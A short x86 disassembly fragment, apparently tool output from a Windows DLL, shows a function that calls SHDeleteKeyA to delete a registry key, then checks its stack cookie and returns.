lea eax, [esp + 0x2c]
push eax
push ebp
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ecx, dword [esp + 0x48]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1005801c
add esp, 0x40
ret